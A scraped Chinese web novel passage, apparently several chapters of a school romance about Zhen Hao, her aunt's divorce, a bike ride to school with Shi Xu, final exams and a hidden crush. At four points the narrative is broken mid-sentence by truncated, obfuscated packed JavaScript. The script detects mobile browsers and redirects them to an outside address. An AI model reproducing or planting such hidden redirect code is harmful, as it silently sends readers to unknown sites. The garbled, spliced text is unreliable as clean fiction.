姐妹俩兴冲冲地回到榉头，看见桌子上堆着满满当当的盒子和手提袋时，不约而同地惊呼出声。 收礼物总是让人开心的，更何况她们连着两天都收到了礼物。 甄好看着那个熟悉的运动品牌logo，甚至不敢相信这一切都是真的。 小姑给她买了大一码的新鞋子和新衣服裤子，那是她城里的同学脚上和身上常穿的，价值不菲的名牌。 甄好的眼眶瞬间泛红泛酸，想哭的冲动前所未有。 她从来不敢告诉家里人自己那双穿了两年的鞋子不仅鞋底破了漏水，甚至已经有些挤脚。她就这样穿着一双旧鞋去了新学校，认识了新同学。 小姑给她买的不仅仅是一双鞋、一身衣裳，而是满足了一个正处青春期的少女的虚荣心。 小姑还告诉她：“小姑娘就是要打扮得漂漂亮亮的，并且要活得越来越漂亮。” 这是她十三年以来，第一次拥有名牌衣服和鞋子，也是第一次体会到从未体会过的爱。 不是来自父母，不是来自家人，而是来自女性温柔的爱。 她轻轻抚摸着新鞋新衣服，一滴泪悄悄从眼角滑落。 甄温柔这一次竟留下来过夜了。 这对于甄家人来说是一件很稀奇的事。 自从成家后，甄温柔便再也没在家里留宿。 这其中有两个原因。 一是嫁出去的女儿也就没了自己的房间，更别说嫁之前甄温柔就没有属于自己的房间。 二是在整个闽市地区的习俗里，做人媳妇没有天天往娘家跑的道理，回娘家的次数多了、时间久了，都要被人说三道四。就连娘家人，亦觉得嫁出去的女儿不该频繁回家。 在闽市，结了婚的女人就没有自己的家了。 她们被逼着一夜之间从女儿变成媳妇，又被逼着用一年的时间从女孩变成一个母亲。 甄温柔结婚多年一直没有要孩子，这在闽镇这样的小地方，往大了说那是可以“退货”的。 甄奶奶到底是吃过的盐比这些小辈吃过的米都多，一眼就看出甄温柔不对劲：“阿柔，你老实告诉我，你这次回来是不是发生什么事了？” “是啊。”甄温柔也没打算瞒着，开门见山道，“我要离婚。” 这四个字可谓是平地一声雷，惊得甄家每个人都惊愕不已。 甄奶奶更是直接上手揪住小女儿的耳朵，边用劲边喋喋不休：“你要不要听听你说的是什么话？你一个女人离了婚以后怎么办，谁还敢要你？啊？嫁出去那么多年，孩子不生就算了，还敢喊着要离婚？你是不是被鬼迷心窍了，啊？” “疼疼疼——”甄温柔顺着甄奶奶的力道移动着身子，以减少疼痛，却还不忘反驳，“离婚怎么了，离婚是什么大事吗？都什么年代了！” “离婚怎么了？”甄奶奶冷笑一声，手上更加用力，“你都二十八岁了！你以为你还十八岁，好人家任你挑任你选呢？啊？” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15574721|171333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >甄好生活的这个小乡村，女孩子别说二十八岁，超过二十三岁便是老姑娘，超过二十五岁就已经半截身子入了土，不嫁出去仿佛就该去死了。 甄温柔要离婚的动静闹得有点大，甄好姐妹俩闻声都躲在一旁看着。 这一幕让甄好无端想起自己上小学前发生的两件事。 事情很小，她却记了很多年，并且随着时间的流逝，在她脑子里变得越发清晰明朗。 第一件事是，当大人问她长大了要做什么时，五岁的她大言不惭地回答：“我以后要上最好的大学，买最大的房子，开最贵的车车。” 大人们听了哈哈大笑，没人知道她是如何学来的这些话，只当是童言无忌。 长大后的甄好也不明白自己小小年纪为何就知晓何为最好的大学、最大的房子、最贵的车。 第二件事是，即将上小学的甄好与奶奶站在村口。她顺着奶奶的视线望去，看见邻居家的姐姐正拿着大包小包放在一辆略显破旧的三轮车上。 六岁的甄好仰头问甄奶奶：“奶奶，邻居姐姐要去哪里啊？” 甄奶奶回答：“书读得不好就只能去工厂做工，赚几年钱就找个好人家嫁了，生几个孩子，如此便是一生。” “什么是找个好人家嫁了？”甄好像十万个为什么，问题一个接一个，“又什么是生几个孩子啊？” “我们好好以后也会像她一样。”甄奶奶明明看着的是邻居姐姐，目光却好似落在虚空，没有焦点，“也会读几年书，去厂里做几年工，然后结婚生子……” 甄好虽然没太听懂，但她记住了“不好好读书就要嫁人”。她也不知自己小小的脑袋为什么会想那么多，她只知道自己当时握紧了拳头，暗暗在心里发誓将来一定要好好读书，一定不要像邻居姐姐那样早早嫁人。 这两件小事加上眼前发生的一幕让甄好更加确定自己以后不想过这种被婚姻裹挟被孩子绑定一生的传统道路。 她不想让短短三万天的人生变成孕育后代的工具。 甄温柔要离婚的这场闹剧是如何落幕的，甄好不知道。 她只知道小姑还是那个英姿飒爽的小姑，好像没有因为差点跟母亲打了一架而有丝毫的狼狈。 她依旧该吃吃该睡睡，脸上的笑容甚至更加明亮。 十三岁的甄好不懂这是为何，却懂得一个人想离婚，必然是因为过不下去了才会动这个念头。 在甄温柔给她编辫子的时候，她忍不住问：“小姑，你会有害怕的时候吗？” 在她的印象里，小姑总是天不怕地不怕的，家里的男人甚至酷不过她半分。 甄温柔手上梳头的动作没停，却真的认真思考了片刻，才说：“以前会，现在不会了。” 甄好似懂非懂。 二十八岁的甄温柔好像真的变温柔了。 不是那种世俗所规定的温柔，而是心境更平和，更加明白自己想要的，也更加懂得爱自己，是与众不同的温柔。 当晚，甄温柔与姐妹俩三个人挤在一张床上说说笑笑的。后来甄美先睡着了的时候，甄好和小姑还清醒着。 甄好凑到她耳边，悄声说道：“小姑小姑，我想告诉你一个秘密。” 25. 少年羞红的耳朵 黑白两色的耳机线缠绕着，就像我们纠缠不休的人生轨迹。 ——《时序日记》 周日下午，甄温柔怀揣着甄好的秘密，先一步骑上机车，只留给甄家人一个潇洒的背影。 她没有告诉任何人自己要去哪里，只有甄好心知肚明。 甄奶奶的声音怎么都追不上疾驰而去的机车，甄温柔只听到了“你这个死丫头”几个字，后面的话便随风消散。 甄温柔离家没多久，也差不多到了甄好出发去学校的时间。她像往常一样，先跟奶奶说：“阿嫲（闽南语“奶奶”的意思），我要去上学了。” 甄奶奶笑呵呵地点头：“好好要好好读书，别像你小姑一样到处疯。” “好。”甄好乖巧地应道。 告知完奶奶，她又到各个屋里去寻何允莲，却没找着。 估计是带着甄黎去邻居家串门了。 如此想着，她也就放弃继续寻找的念头，回自己屋的时候迎面碰上了甄东成。 “爸——”她嗫嚅了两下唇瓣，到底还是开口叫人，“我要去上学了，我……” 索要生活费的话却卡在她喉咙里，怎么都说不出来。 见她没了下文，甄东成先把手里的纸币递到她手边：“好好，这个给你。你正在长身体，不要舍不得吃。” 甄好垂眸，盯着父亲递来的五十元纸币，心脏刺疼了一下。 这比她半个月的生活费都要多。 严格说起来，甄东成对她们姐妹俩一直温和耐心，该给的、能给的都给了。 他也许不是一个好丈夫，但称得上一位好父亲。 她心情复杂地接过纸币，一声“谢谢爸”说得又轻又缓，若不是此时周遭安静，甄东成估计都听不清。 “去吧。路上注意安全。”甄东成这回抬起的手没有再收回去，轻柔地抚了抚甄好毛茸茸的脑袋。 “嗯。”甄好顺从地点头，“我知道了，爸。” 当她骑着自行车从小院那条又长又高的坡一冲而下时，在坡底遇到了一个意料之外的人。 “时序？”甄好踩下刹车，一脸疑惑，“你怎么在这里？” 时家靠近热闹的马路，甄好每次去上学都会经过，他来此处是实打实的走回头路。 “今天可以和你一起去上学吗？”时序整个人看起来没什么精神。 他的单车周五那晚放在裴延东车子的后备厢一起运了回来。 这个周末，他两天都待在书房里，对时谙说的是要复习期末考试，实际上他什么都没做，只是不断翻看着自己的日记本。 说来有点不好意思，他一个大男生竟然有写日记的习惯，跟小女孩似的。 即将小升初的那个新学期，是他第一次见到裴延东，也是他第一次开始正儿八经地写日记。 写着写着，他就爱上了这种无声的诉说与发泄，自此保留了这个习惯。 裴延东每出现一次，他就会郁闷好一阵。 这天一早醒来，他忽然很想待在甄好身边，想在她身边充充电。 于是他就守在她家下面，安静地等待着。 见到她骑着单车俯冲下来的飒爽英姿时，他的眉宇不自觉地舒展，那种安心的感觉渐渐充盈他整个胸腔。 “可以啊。”甄好脸上依旧是时序熟悉的清冷表情，可他就是觉得顺眼，怎么看怎么顺眼。 他弯眸笑了：“好好真好。” 说完，他率先骑上单车，迎着风，第一次觉得自己是自由的。 可以自由地选择前往目的地的方法，亦可以自由地选择一路相陪的伙伴。 时序放慢速度，渐渐与甄好并肩而行。 不过两人谁都没有说话，只是静静感受微风拂面的温柔。 大榕树下，周淳芮已经等在那里。 她家距离最近，大概三分钟车程，所以经常要么最早到要么最晚到。 这一次她难得没有迟到。 远远看见甄好和一个男生并肩骑着单车而来，她还有些恍惚。 等看清是时序后，她也就见怪不怪了。 从小到大，基本上看到甄好就能看到时序，这一铁律直到他们上了初中才被打破。 眼前这一幕，让周淳芮久违地闻到了青梅竹马的气息。 要不是…… 周淳芮偷偷看了一眼时序，心里那个可惜。 要不是时序个子不争气，她真挺看好他和甄好的，毕竟他那张脸是真能打。 高鼻深目，带着一丝丝痞气，笑起来又像三月的暖阳，好似可以融化万物。 最重要的是，“时针夫妇”听起来就很甜啊。 不等周淳芮继续想太多，两人已经来到她面前停下。 “时序同学，稀客啊。”周淳芮笑着打趣他，“是不是想我们家好好想得不得了？” “芮芮，别瞎说。”甄好单脚踩地，轻推了她的胳膊一把。 “是又怎样？”时序梗着脖子反问，“不是又怎样？” 没人注意到他的耳尖悄悄红了。 “臭时序，好好说话会怎样啦？”周淳芮说话带着闽市口音特有的嗲，很好听。 时序却没再搭理她。 “走吧。”甄好也没打算继续这个话题。 她刚准备蹬车，肩膀却被一只手轻轻按住。 她侧头一看，少年修长好看的手正搭在自己肩上，手上的热度透过薄薄的校服料子传递开来，让那一块皮肤有些发烫。 时序一只脚稳稳地踩在地上，单车微微倾斜，放在少女肩上的那只手缓缓抬至她耳边。 两人本就不远的距离瞬间被拉近，甄好甚至能闻到他衣服上的洗衣液香味。 他和她用的是同一款洗衣液。 清爽中带着一丝甜甜的果香，很好闻。 “你干吗？”反应过来两人靠得太近了的甄好很快开口。 时序的动作微顿，他也意识到自己靠她太近了，于是红着耳朵稍稍后退。 “戴耳机听歌骑车不安全。”他后退的同时也伸手取下了甄好耳朵上的耳机。 少年的手指不经意间擦过甄好白皙细腻的耳朵，痒痒的，有奇妙的感觉在她心里蔓延。 “哦。”她有些不适地从他手上扯过白色耳机线，动作略显僵硬地收在背包里，而后率先骑上单车，快速离去。 她不喜欢跟别人有肢体接触，尤其是与男生。 “好好，你等等我啊。”周淳芮只是一个低头抬头间，就发现甄好离自己越来越远。 时序愣在单车座椅上，手上碰到少女耳朵那种细腻的触感犹在，叫他一时没有回神。 等两个女生都骑出大老远，他才后知后觉地跟上。 奇怪的是，这一次去学校路上没了音乐的陪伴，甄好竟也不觉得无聊。 也许是因为时序一直不紧不慢地骑在她身后，时不时还要高喊一句：“好好，以后我们每周都一起上学好不好？”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15582206|171333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 她没回答。 周淳芮替她回答了：“好啊好啊，我替好好答应你了。” 甄好侧头瞪了她一眼。 周淳芮佯装无辜地吐吐舌头。 也或许是因为时序除了偶尔问问题，多数时间都会自我陶醉地唱着歌。 声音不大不小，刚好够甄好听到。 他唱歌很好听，每一个字都咬得极准，也都在调上。 等三人到学校的时候，甄好没想到小姑会直接等在校门口。她侧身坐于机车上，一身紧身皮衣，脚上踩着马丁靴，加上一头利落的齐耳短发，看上去又美又飒，引得不少人频频回头。 不过她倒是一点也不受影响，自顾自低头认真地玩着手机。 甄好推着单车走到她面前，轻声开口：“小姑，不是说在奶茶店等我吗？” 甄温柔抬头一看，见是甄好，立刻弯眸笑了：“哦，那家奶茶太甜了，不好喝，小姑明天带你去喝正宗的。” 说完，她才看到周淳芮和时序也在，于是接着说：“小淳和小序也一起。” “谢谢温柔小姑。”时序没想到会在这里看见甄好的小姑，有些惊讶。 “好啊好啊，谢谢温柔小姑。”周淳芮也连连应答，她喜欢甄好的小姑，见到她眼睛都亮了，“温柔小姑，我可不可再带一个朋友啊？就一个……” 她说着的同时还竖起了右手食指。 甄温柔被她逗笑：“当然，带多少个都行。” “我就带一个，嘿嘿。”周淳芮难得不好意思地挠挠头，“温柔小姑也认识的，就是云云。” “没问题，都一起。”甄温柔从机车上起身，习惯性地抬手摸了摸甄好的脑袋，“好好，小姑晚上就在你们学校附近的海峡酒店住下来，明天中午你放学直接到这里来，我在校门口等你。” 她说着将挂在机车身上的两个大袋子提了下来：“走，小姑送你去宿舍。” 袋子里装的是她给甄好买的新衣服新鞋子和一些零食。 甄温柔先是跟着三人去到停车棚，又和甄好两人一同去了女生宿舍。 甄好的室友看到甄温柔都很激动，得知这么年轻美丽的女人竟然是她的小姑就更加兴奋，七嘴八舌地问着她问题。 李琳直接“哇”了一声：“好好，你小姑好漂亮！” 黄黎黎平日里很安静，性格有些内向，连她都忍不住跟着说：“好好的小姑真的好漂亮。” 施诗自来熟，直接上前挽着甄温柔的手臂：“好好的漂亮小姑，你穿这身好酷，我好喜欢。” “谢谢你们，你们也很漂亮，长大后会比我更漂亮。”甄温柔笑眯眯地从袋子里拿出各种零食，“这些大家一起吃，别客气。” “谢谢好好的漂亮小姑。”几个女生异口同声。 姚明娜跟甄好是一个地方的，自然认识甄温柔，她也和时序他们一样，叫她：“温柔小姑，你怎么来我们学校啦？” “今天是女明星和她的小助理。”甄温柔笑着看向甄好，“我是小助理，好好是大明星。” 甄好有些羞赧地扯扯嘴角，平直的心情在甄温柔的话语下一点一点地攀升。 不得不说，甄温柔极大地满足了她的虚荣心。 整个寝室，八个人，除去她和周淳芮，还有鄢云书和龚茜。 龚茜不像其他人，自始至终都没说过话。 至于鄢云书…… 甄好环视寝室一圈，并未发现她的身影。 26. 下意识写的名字 哪怕在同一个教室考试，空气也是甜的。 ——《时序日记》 甄温柔没在甄好的寝室待多久，她送小姑下楼的时候，正好迎面碰上姗姗来迟的鄢云书。 她反应了一秒，才认出甄温柔：“温柔小姑，你怎么来我们学校了？” 她的反应与姚明娜一致。 “我想我们好好了呗。”甄温柔擅长表达爱意，也擅长给人情绪价值，这在含蓄的闽市人中是很少见的。 哪怕她是长辈，哪怕同为女性，甄好听见这样直白的情感表达，也有些红了脸。 鄢云书听完点点头，而后说：“好好，我跟你们一起下去吧。” “好啊。”甄好没拒绝。 两人一起把甄温柔送到了校门口，挥手告别后又一同慢走回寝室。 回宿舍途中，甄好问道：“今天怎么来得这么晚？” 按照张叔的车，鄢云书怎么都该比她们先到寝室才对。 说起这事，鄢云书还心有余悸：“路上遇到了车祸现场，等车通行耽误时间了。” “原来当时堵车的地段你也在。”甄好恍然大悟。 他们骑单车来的路上的确有段路被封锁，不过不影响单车通行。 她都没注意到被堵在其中的车有张叔的。 “在天灾人祸面前，人类真的好渺小。”想起当时的车祸情况，鄢云书有些唏嘘。 那满地的鲜血在她脑海里挥之不去。 “没事了，别怕。”甄好安慰了她一句。 当晚的晚自习什么都没有发生，甄好像往常一样，去到楼紫巷1010号跟秋先生学习南音。 一个晚上的学习加上练习南音让她回到寝室就感觉疲惫不堪，洗漱完躺在床上很快便睡着了。 她甚至做了一个梦。 梦见她光着脚丫，一个人在无边无际的海滩上踏浪。 海面上有飞翔的海鸥，头顶是海蓝宝般的天空。 海风拂过耳畔，带来咸腥的味道。 早上睁开眼，意识到这是个梦后，她忽然很想再去一次海边。 虽然闽镇靠海，但其实是属于海边的内陆地区，到海边还有一定的距离。 甄好长这么大，只看过一次海。 直到去教室的路上，她还想着这件事，终于还是忍不住对周淳芮和鄢云书提起：“芮芮、云云，以后我们一起去一次海边好不好？” “当然好啊！”周淳芮一口答应，“我也想去海边。” “好啊。”鄢云书也来了兴致，“不过你怎么会突然想要去海边？” “就是昨晚梦到了。”甄好实话实说，“然后早上就很想跟你们做这样一个约定。” 好像只要做了约定，人与人就不会面临分别。 本周的星期三全校将进入正式的期末考试，所以几人一到教室就感受到了浓厚的学习氛围，也很快融入进去。 上午放学，甄好起身走到教室前面。见时序在慢吞吞地收拾桌上的东西，她轻声说道：“时序，走吧。” “哇噻，好好这是在约我吗？”时序故意调侃道。 “正经点。”甄好飞去一记眼刀，脸上的表情更酷了几分。 “得令，马上。”时序快速将笔袋塞进桌洞里，然后起身乖乖跟在甄好身后出了教室。 看他这么听话，甄好莫名感觉他有点可爱，很努力才忍住了上扬的嘴角。 鄢云书和周淳芮两人从后门出了教室，四人一起朝校门走去。 甄温柔已经早早等在校门口，依旧半倚在她那辆看起来就很酷炫拉风的黑色机车上。 时序两次看到甄温柔的机车都露出艳羡和跃跃欲试的神情。 甄温柔一眼看出他的想法，开口打破他的幻想：“未成年不可以骑机车哟。” “知道啦，温柔小姑。”时序没想到自己的想法如此轻易就被看穿，忙表态。 甄温柔带着四个人在县城里吃了一顿好的，又转了一圈，买了她认为的正宗又好喝的奶茶。 玩乐的时光总是过得飞快，时间一转眼来到下午两点钟。 安南三中下午是两点半开始上课，距离第一节课只剩半个小时。 他们该回去了。 “你们三个自己先回去没问题吧？”甄温柔问道。 其实他们此时已经在校门口附近。 “没问题。”三人难得异口同声，“温柔小姑再见。” “那你们先去上课，我和小姑还有点事情，很快就回去。”甄好这样说。 她昨晚告诉甄温柔的秘密其实就是她写的现代诗登上杂志了，而领取稿费需要大人陪同。 邮局就在三中校门往右五百米的地方，她们运气好，办事窗口人不多，差不多十分钟就凭借之前杂志社跟随样刊邮寄过来的取款通知单坐在了一号窗口前。 甄好的第一次稿费。 不多。 二十元整。 却也很多。 这笔稿费相当于她一个星期的生活费。 临到工作人员准备收走取款通知单时，甄好突然生了后悔之意。 她缩回手，工作人员拿空了。 “小姑……”甄好把声音放得很低，“我可不可以不取了……” 甄温柔没有问原因，直接点头答应：“当然可以。” 她态度良好地对工作人员说抱歉，然后拉着甄好出了邮局。 “小姑，你不问问我为什么吗？”甄好没想到小姑对于自己的要求答应得这么爽快。 “我相信我们好好有自己的想法，愿意的话可以说给小姑听听。”甄温柔伸手轻轻揉了揉甄好毛茸茸的脑袋。 “这是我实现梦想第一步的证明。”甄好其实也不确定自己这么做有没有意义，“我想，不管将来遇到什么困难，只要看到它，我心中一定会充满力量。” 甄好看着手中的取款通知单，语气慢慢变得坚定：“所以，我决定留下它。” 它的意义远远大于二十元纸币。 当天回到寝室后，甄好珍而重之地将取款通知单夹进了自己每天都会打开的日记本。 期末考试的脚步悄悄又声势浩大地到来了。 三中实行走班考试制度，考试分班表下来后，甄好有些可惜自己不在本班考试。 看完自己的考试班级，她又快速瞄了一眼师杭与所在的班级，发现他没跟自己在一个教室，心里的失落更甚。 “好好！”就在她恍神之际，时序的声音将她拉回现实。 “干吗？”甄好绷着脸道，“时序同学，麻烦叫我甄好同学。” “遵命，甄好同学。”时序看起来很高兴，“全班只有我们在（1）班考试，明天一起？” 甄好毫不犹豫地拒绝：“不用了，我不喜欢等人。” “再说了，除了我跟你，还有周淳芮也在（1）班考试。”说完她又不留情地戳穿他。 时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15588544|171333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 序心虚地挠了挠头，听她这样说也没有放弃的意思：“那就我们三个人一起？” “好啊好啊。”周淳芮梅开二度，“明天一起！” “芮芮……”甄好都快无语了。 考试周没有早读课，其实他们三个人一点都不方便一起去（1）班，不知道时序和周淳芮到底是怎么想的。 时序紧跟其上：“明天早上七点五十榕树林下等你们。” 摆明了不给甄好反驳的机会。 三人行就这么定下了。 不知出于什么心理，时序说完那句话后，甄好下意识地看了一眼师杭与的背影。 少年坐得笔直，仿佛不被任何事物影响。 他怎么可能在意呢…… 期末考试为期四天，这么说来，五个白天里，她要有四天看不到师杭与…… 甄好垂下眼眸，努力压下内心的酸涩。 第一门考的是甄好的拿手科目——语文。 因为没什么压力，她做起题来很快，写完作文还剩了四十分钟。 她环顾教室一圈，每个人都还在奋笔疾书。 对于语文这个科目，她一向自信到自负，每次做完试卷都不会再回头检查，这四十分钟也就由此显得格外漫长。 她不知道能做点什么，索性在草稿纸上随心所欲地写写画画。 等她反应过来的时候，一个卡通人物已经跃然纸上，而“师杭与”三个字被堂而皇之地写在了旁边。 她顿时吓得拿语文卷子挡住草稿纸，继而心虚地左右张望，生怕被人看到自己写了什么。 由于慌张不已，她的动作有些大，惊动了监考老师。 原本看着门口的监考老师倏地站起身，目光直视甄好：“这位同学什么事？” 甄好一张脸顿时涨得通红，说话也结巴起来：“没……没事，老师。” “注意考场纪律。”见她的确没做什么出格的事，监考老师很快又重新坐了回去。 甄好重重地吐出一口气。 她赶忙把画了画写了字的那张纸夹进科作业纸中，再不敢多看一眼。 那是一个少女最隐秘却差点公开在众人面前的心事。 甄好看了一眼墙上的时钟，距离考试结束时间还有十五分钟。 她不敢再在纸上乱写乱涂，无聊之余只好盯着时钟上的秒针，跟着它转了一圈又一圈。 时间真是个奇妙的东西，能够让人变得勇敢，也能够让人变得怯懦。 小时候，她勇敢地反抗过；长大后，她却连喜欢都不敢说出口。 她天马行空地想着，时间一分一秒地流逝，终于熬到了交卷的时刻。 明明一直迫切期待着考完试，等真正收卷的时候，甄好却一直坐在椅子上没动。 她有些担心万一自己没拿好科作业纸，那张画从里面掉出来了该怎么办，索性想等人都走得差不多了再起身。 时序的座位在距离她三桌的第一排，收卷铃声一打，他立刻绕到教室后门等待甄好出来。 “好好，怎么不走？”坐在第四组的周淳芮走到甄好身边，轻轻拍了拍她的肩膀。 “就走。”教室里已经没剩几个人了，甄好紧紧捏着那本科作业纸，缓缓地站起身。 站在后门的时序却眼睛微眯，而后快速走到甄好身后，两人的距离在一瞬间拉近。 甄好猛地转身，由于两个人实在靠得太近，她的唇几乎碰到了少年的鼻尖。 27. 后悔终生的决定 我喜欢的女孩，她不完美，可她在我心中是最好的。 ——《时序日记》 少年那张放大的脸突然出现在面前，长长的睫毛好似能够扫到甄好的脸上。 她呆呆地眨眨眼，心跳一下一下地快了起来。 下一秒，她反应过度地朝后退去。 可她身后是课桌，后腰抵上去的时候桌椅一起动，就连她手里握着的科作业本也掉到了地上。 课桌晃了晃，回归正位。 甄好的心跳却还未平静下来。 “小心。”时序下意识地抓住少女清瘦的手腕，两人的距离再度拉近。 这一次，不知是谁的心跳声盖过谁的，总之，甄好只觉得耳畔像有炸雷落下，惊得她微微张大了嘴。 时序握着她的手腕，帮助她站稳后，才取下背包，从里面拿出一直随身携带的秋季薄款校服外套。 他轻轻地抖了抖外套，继而伸手从女生身后环到腰间，动作利落地将衣服系在甄好腰上。 “你……我……”甄好后知后觉，意识到自己身上发生了什么后，整张脸比方才被监考老师点名还要红。 站在一旁的周淳芮也猜到甄好肯定是来月经弄到了校服裤子。 她不由得瞥了时序一眼。 没想到这家伙还挺细心，大夏天的，背包里竟然带着校服外套。 “时序同学，你怎么随身携带外套啊？”这么想着，她也真的这么问了出来。 此时，时序已经蹲下身去帮甄好捡掉落在地的科作业纸。闻言，他云淡风轻道：“我肾虚，可以吗？” 甄好：“……” 周淳芮：“……” 电光火石间，另一只手先时序一步捡起了甄好的科作业纸，那像赋予了魔力的三个字也自男生口中徐徐念了出来：“师——杭——与——” 纸张翻飞间，时序亦看清了纸上画的卡通人物和那个他再熟悉不过的人名…… 师杭与…… 时序目光一顿，有什么在他心上剜了一下，刺疼的感觉霎时传遍全身。 而甄好，整个人仿佛被雷劈了似的。 接二连三的重大事件让她束手无策，呆呆地站在原地，不知如何反应。 半晌，她忍住下腹强烈的不适，冲上前想要抢过那张纸。 拉扯下，那张薄薄的纸在两只手之间呗撕成两半，一半画着卡通人物，一半写着“师杭与”三个字。 甄好的脸白得不像话，手指也在微微颤抖，眼睛更是在一瞬间红了起来。 抓着半张纸的宋景脸色也十分难看：“好好，这张不是你画的对不对？” 他这么问不过是自欺欺人。 甄好那手字，他一眼就认了出来。 包括时序和周淳芮也都心知肚明那三个字是出自谁之手。 “干吗呢，干吗呢？”周淳芮看不下去了，一步上前把甄好拉到自己身后，瞪着宋景大声道，“你凶什么凶？这个卡通小人是我画的，你有意见吗？” 宋景抿着嘴不说话。 “那字是我叫好好写的，他对我们好好做了那么过分的事，我画张图打小人行不行？啊？”知道他们肯定会纠结那三个字，周淳芮先下手为强。 她的这一番解释可以说是滴水不漏，叫人找不出错处，然而只要过后细想，就会发现哪一点都站不住脚。 首先，纸上的人物画笔触细腻，神情轻松，无论是从画还是从字看，扑面而来的都是藏也藏不住的感情。 再者，那是甄好的草稿纸，周淳芮如何于考试期间在她的草稿纸上写写画画？ 只是当下，谁也没有继续深究这个问题，甄好和宋景都任由周淳芮收走自己手里的半张纸。 “好好，我们先回寝室。”甄好的例假来了，这才是当务之急。 两个女生走得飞快，时序没有跟上，宋景也在原地紧握双拳，眼里有着受伤之色。 当天晚上的晚自习每个同学还是各回各班进行。 甄好刚坐下来，准备拿文具就在自己的桌洞里摸到了一瓶热牛奶。 几乎是下意识地，她抬头看向讲台旁的那个座位。 果真与少年的视线撞上。 她略显窘迫地收回目光，捏着牛奶的手微微用力。 这不是时序第一次为她送热饮。 有时候是热牛奶，有时候是热巧克力奶茶。 例假第一天，她的小腹像以往的每个月一样，隐隐作痛，但并不影响正常学习和生活。 不过喝点热的东西，的确胃连同小腹都感到暖暖的，很舒服。 她不由得想起自己第一次来例假的情景。 那是去年的秋天，她刚生上六年级。 说来也是郁闷，甄好这一届刚好遇到教育改革，小学由五年制改为六年制，她又要多上一年学。 从小就在期待靠读书走出贫瘠之地的甄好不是很喜欢六年级学生这个新身份。 她略显落寞地一个人走在教学楼后面的小道上，脚下的石子被她踢了一路。 “小石子又没做错什么。”突然，一道尚显稚嫩的男声响起。 甄好抬头一看，是时序。 “你走开，我现在不想说话。”她毫不客气地赶人，好似这条路只能她一个人走似的。 时序不理会她的霸道，自顾自说着话。 甄好不胜其烦，气鼓鼓地快步回了教室。 不知从什么时候起，她不再喜欢身后的这条小尾巴。 然而时序不为所动，除了女厕所，总是她走到哪儿就跟到哪儿。 这次也不例外，他又跟着她回了教室。 甄好冷着脸说出伤人的话：“时序，你知不知道你很烦？以后能不能麻烦你别跟着我了？” 她话刚说出口就后悔了，可是想要收回已经来不及了。 她看见时序原本还笑意盈盈的眼睛瞬间暗了下去，就连总是扬起的嘴角也缓缓变得平直。 “好好，我知道了。”时序的声音听起来更是像丢了心爱玩具的可怜小孩。 他连难过的时候都一如既往温柔地叫她“好好”。 甄好的心口顿时像塞了一坨湿棉花，几乎要令她窒息。 但别扭的她根本没办法开口道歉，而是选择回到自己的座位，动作略微粗暴地打开书包准备拿出下一节要用的课本。 课本没拿到，一个粉色的信封先映入她眼帘。 那是什么甄好不用多想就知道。 心跳在一瞬间飙升，她只感觉浑身的血液都往脑袋冲，脸烫得像发烧。 她不知道到底是谁给自己写的情书，只觉得那抹粉色犹如燃烧的火，叫她想要将其丢弃。 可眼下是在教室里，别说丢掉了，连拿出来她都不敢。 不得已，她只能拼命压下内心的恐慌，用一样又一样东西将那封信压在书包的最底下。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15594542|171333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 明明她什么都不用做，也不会有人发现她的书包里藏了一封情书。 接下来的每一节课，甄好都如坐针毡。她不动声色地观察着教室里的每一个同学，试图找出谁是写情书的人，然而她什么都没看出来。 上午放学后，甄好的心情随着离家越来越近也变得焦躁起来。 经过几个小时的缓解，时序好像又恢复了那个如小太阳般明媚的小小少年。 唯一不同的是，这一次他只是安安静静地跟在甄好身后，不再像以往在她耳边叽叽喳喳说个不停。 他甚至没敢跟太近。 班里跟他关系比较好的男同学林免从身后快步走来，一把揽住他的肩膀：“阿序，放学怎么不等我？” 他问话的时候目光轻轻地落在走在前面不远的甄好身上，又很快移开。 “啊，抱歉，我忘了。”时序这才想起来早上课间操时，林免特意叫他放学一起走。 “我大人有大量，原谅你了。”林免本就醉翁之意不在酒，对此事没有放在心上。 